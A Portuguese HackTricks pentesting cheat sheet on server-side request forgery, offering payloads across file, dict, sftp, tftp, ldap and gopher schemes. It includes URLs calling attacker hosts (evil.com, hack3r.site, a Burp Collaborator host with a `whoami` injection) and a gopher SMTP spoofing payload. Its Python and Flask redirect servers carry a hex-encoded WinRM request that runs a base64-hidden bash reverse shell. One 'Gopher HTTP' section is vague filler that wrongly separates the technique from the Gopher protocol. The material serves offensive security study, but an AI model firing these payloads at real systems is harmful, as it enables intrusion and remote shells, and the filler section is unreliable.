hacktricks/pentesting-web/ssrf-server-side-request-forgery
2023-12-16 14:29:43 +00:00
..
cloud-ssrf.md Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene 2023-09-03 01:19:04 +00:00
README.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2023-09-28 19:21:57 +00:00
ssrf-vulnerable-platforms.md Translated ['README.md', 'backdoors/salseo.md', 'forensics/basic-forensi 2023-12-16 14:29:43 +00:00
url-format-bypass.md Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene 2023-09-03 01:19:04 +00:00

SSRF (Server Side Request Forgery)


Use Trickest para construir e automatizar fluxos de trabalho com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje mesmo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

A vulnerabilidade de falsificação de solicitação do lado do servidor (também conhecida como SSRF) é uma vulnerabilidade de segurança na web que permite que um atacante induza a aplicação do lado do servidor a fazer solicitações HTTP para um domínio arbitrário escolhido pelo atacante. (De aqui)

Capturar SSRF

A primeira coisa que você precisa fazer é capturar uma interação SSRF provocada por você. Para capturar uma interação HTTP ou DNS, você pode usar ferramentas como:

Bypass de Domínios na Lista de Permissões

Normalmente, você descobrirá que o SSRF só funciona em certos domínios ou URLs na lista de permissões. Na página a seguir, você encontrará uma compilação de técnicas para tentar burlar essa lista de permissões:

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Bypass via redirecionamento aberto

Se o servidor estiver corretamente protegido, você poderá burlar todas as restrições explorando um redirecionamento aberto dentro da página da web. Como a página da web permitirá SSRF para o mesmo domínio e provavelmente seguirá redirecionamentos, você pode explorar o redirecionamento aberto para fazer com que o servidor acesse qualquer recurso interno.
Leia mais aqui: https://portswigger.net/web-security/ssrf

Protocolos

file://

file:///etc/passwd

dict://

O esquema de URL DICT é usado para se referir a definições ou listas de palavras disponíveis usando o protocolo DICT:

dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/

SFTP://

Um protocolo de rede usado para transferência segura de arquivos sobre o shell seguro.

ssrf.php?url=sftp://evil.com:11111/

TFTP://

O Protocolo de Transferência de Arquivos Trivial, funciona sobre UDP.

ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

LDAP://

Protocolo de Acesso a Diretório Leve. É um protocolo de aplicação usado em uma rede IP para gerenciar e acessar o serviço de informações de diretório distribuído.

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Gopher://

Usando esse protocolo, você pode especificar o IP, porta e bytes que deseja que o servidor envie. Em seguida, você pode basicamente explorar um SSRF para comunicar-se com qualquer servidor TCP (mas você precisa saber como falar com o serviço primeiro).
Felizmente, você pode usar o Gopherus para criar payloads para vários serviços. Além disso, o remote-method-guesser pode ser usado para criar payloads gopher para serviços Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

O Gopher HTTP é uma técnica de ataque que explora vulnerabilidades de SSRF (Server-Side Request Forgery) para enviar solicitações HTTP a partir do servidor alvo. Essa técnica permite que um invasor acesse recursos internos da rede, como arquivos, serviços e APIs, através de requisições HTTP feitas pelo servidor.

O nome "Gopher" vem do protocolo Gopher, que foi popular na década de 1990 para compartilhar documentos e recursos na internet. No entanto, o Gopher HTTP não está relacionado ao protocolo Gopher em si, mas sim ao uso de URLs com o esquema "gopher://" para explorar vulnerabilidades SSRF.

Para realizar um ataque de Gopher HTTP, o invasor precisa encontrar uma vulnerabilidade SSRF em um aplicativo web. Essa vulnerabilidade permite que o invasor controle a URL de destino das solicitações HTTP feitas pelo servidor. O invasor então utiliza uma URL com o esquema "gopher://" para direcionar a solicitação para um servidor controlado por ele.

Ao explorar uma vulnerabilidade SSRF com o Gopher HTTP, o invasor pode realizar várias ações maliciosas, como:

  • Acessar recursos internos da rede, como arquivos e bancos de dados.
  • Escanear portas e serviços internos.
  • Atacar outros sistemas e serviços na rede interna.
  • Extrair informações sensíveis, como credenciais de autenticação.

Para se proteger contra ataques de Gopher HTTP e outras vulnerabilidades SSRF, é importante implementar práticas de segurança adequadas, como:

  • Validar e filtrar as URLs de destino das solicitações HTTP.
  • Restringir o acesso a recursos internos da rede.
  • Utilizar listas brancas de URLs permitidas.
  • Manter os sistemas e aplicativos atualizados com as últimas correções de segurança.

No entanto, é importante ressaltar que a melhor maneira de se proteger contra ataques de Gopher HTTP é realizar testes de penetração regulares em seus aplicativos web para identificar e corrigir vulnerabilidades SSRF antes que sejam exploradas por invasores.

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP - Conexão reversa para 1337

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

SMTP

De https://twitter.com/har1sec/status/1182255952055164929:
1. Conecte-se com SSRF em localhost:25 smtp
2. A partir da primeira linha, obtenha o nome de domínio interno 220 http://blabla.internaldomain.com ESMTP Sendmail
3. Procure http://internaldomain.com no github, encontre subdomínios
4. Conecte-se

Curl URL globbing - Bypassando WAF

Se o SSRF for executado pelo curl, o curl possui um recurso chamado URL globbing que pode ser útil para contornar WAFs. Por exemplo, neste writeup, você pode encontrar este exemplo de travessia de caminho via protocolo file:

file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}

Capturar Solicitações SSRF

SSRF através do cabeçalho Referrer

Algumas aplicações utilizam software de análise do lado do servidor que rastreia visitantes. Esse software geralmente registra o cabeçalho Referrer nas solicitações, pois isso é de particular interesse para rastrear links de entrada. Muitas vezes, o software de análise realmente visita qualquer URL de terceiros que aparece no cabeçalho Referrer. Isso é feito para analisar o conteúdo dos sites de referência, incluindo o texto âncora usado nos links de entrada. Como resultado, o cabeçalho Referer muitas vezes representa uma superfície de ataque frutífera para vulnerabilidades SSRF.
Para descobrir esse tipo de vulnerabilidade "oculta", você pode usar o plugin "Collaborator Everywhere" do Burp.

SSRF através dos dados SNI do certificado

A configuração incorreta mais simples que permitiria que você se conectasse a um backend arbitrário seria algo parecido com isso:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

Aqui, o valor do campo SNI é usado diretamente como o endereço do backend.

Com essa configuração insegura, podemos explorar a vulnerabilidade SSRF simplesmente especificando o IP ou nome de domínio desejado no campo SNI. Por exemplo, o seguinte comando forçaria o Nginx a se conectar a internal.host.com:

openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf

Upload de arquivo Wget

SSRF com Injeção de Comandos

Pode valer a pena tentar um payload como: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Renderização de PDFs

Se a página da web estiver criando automaticamente um PDF com algumas informações fornecidas por você, você pode inserir algum JS que será executado pelo próprio criador de PDF (o servidor) ao criar o PDF e você poderá abusar de um SSRF. Encontre mais informações aqui.

De SSRF para DoS

Crie várias sessões e tente baixar arquivos pesados explorando o SSRF das sessões.

Funções PHP SSRF

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

Redirecionamento SSRF para Gopher

Para algumas explorações, você pode precisar enviar uma resposta de redirecionamento (potencialmente para usar um protocolo diferente, como gopher). Aqui estão diferentes códigos python para responder com um redirecionamento:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)

self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)


Use Trickest para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje mesmo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Bypass de CORS/SOP usando DNS Rebidding

Se você está tendo problemas para extrair conteúdo de um IP local por causa do CORS/SOP, o DNS Rebidding pode ser usado para contornar essa limitação:

{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}

DNS Rebidding Automatizado

Singularity of Origin é uma ferramenta para realizar ataques de DNS rebinding. Ele inclui os componentes necessários para vincular o endereço IP do servidor de ataque ao nome DNS da máquina de destino e para servir payloads de ataque para explorar software vulnerável na máquina de destino.

Confira também o servidor em execução publicamente em http://rebind.it/singularity.html****

DNS Rebidding + TLS Session ID/Session ticket

Requisitos:

  • SSRF
  • Sessões TLS de saída
  • Coisas em portas locais

Ataque:

  1. Peça ao usuário/bot para acessar um domínio controlado pelo atacante
  2. O TTL do DNS é de 0 segundos (para que a vítima verifique o IP do domínio novamente em breve)
  3. É criada uma conexão TLS entre a vítima e o domínio do atacante. O atacante introduz o payload dentro do ID da Sessão ou Ticket da Sessão.
  4. O domínio iniciará um loop infinito de redirecionamentos contra ele mesmo. O objetivo disso é fazer com que o usuário/bot acesse o domínio até que ele faça novamente uma solicitação DNS do domínio.
  5. Na solicitação DNS, é fornecido um endereço IP privado (por exemplo, 127.0.0.1)
  6. O usuário/bot tentará restabelecer a conexão TLS e, para fazer isso, ele enviará o ID da Sessão/Ticket da Sessão (onde o payload do atacante estava contido). Parabéns, você conseguiu fazer com que o usuário/bot atacasse a si mesmo.

Observe que, durante esse ataque, se você quiser atacar localhost:11211 (memcache), você precisa fazer com que a vítima estabeleça a conexão inicial com www.attacker.com:11211 (a porta deve ser sempre a mesma).
Para realizar esse ataque, você pode usar a ferramenta: https://github.com/jmdx/TLS-poison/
Para mais informações, confira a palestra onde esse ataque é explicado: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

SSRF às Cegas

A diferença entre um SSRF às cegas e um que não é às cegas é que no às cegas você não consegue ver a resposta da solicitação SSRF. Portanto, é mais difícil de explorar, pois você só poderá explorar vulnerabilidades conhecidas.

SSRF baseado em tempo

Verificando o tempo das respostas do servidor, pode ser possível saber se um recurso existe ou não (talvez leve mais tempo para acessar um recurso existente do que acessar um que não existe)

Exploração de SSRF em Nuvem

Se você encontrar uma vulnerabilidade de SSRF em uma máquina em execução em um ambiente de nuvem, poderá obter informações interessantes sobre o ambiente de nuvem e até mesmo credenciais:

{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}

Plataformas Vulneráveis a SSRF

Várias plataformas conhecidas contêm ou já contiveram vulnerabilidades de SSRF, verifique-as em:

{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}

Ferramentas

SSRFMap

Ferramenta para detectar e explorar vulnerabilidades de SSRF

Gopherus

Esta ferramenta gera payloads Gopher para:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser é um scanner de vulnerabilidades do Java RMI que suporta operações de ataque para a maioria das vulnerabilidades comuns do Java RMI. A maioria das operações disponíveis suporta a opção --ssrf, para gerar um payload SSRF para a operação solicitada. Juntamente com a opção --gopher, payloads gopher prontos para uso podem ser gerados diretamente.

SSRF Proxy

SSRF Proxy é um servidor proxy HTTP multithread projetado para direcionar o tráfego HTTP do cliente por meio de servidores HTTP vulneráveis a Server-Side Request Forgery (SSRF).

Para praticar

{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Use Trickest para construir e automatizar fluxos de trabalho com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje mesmo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}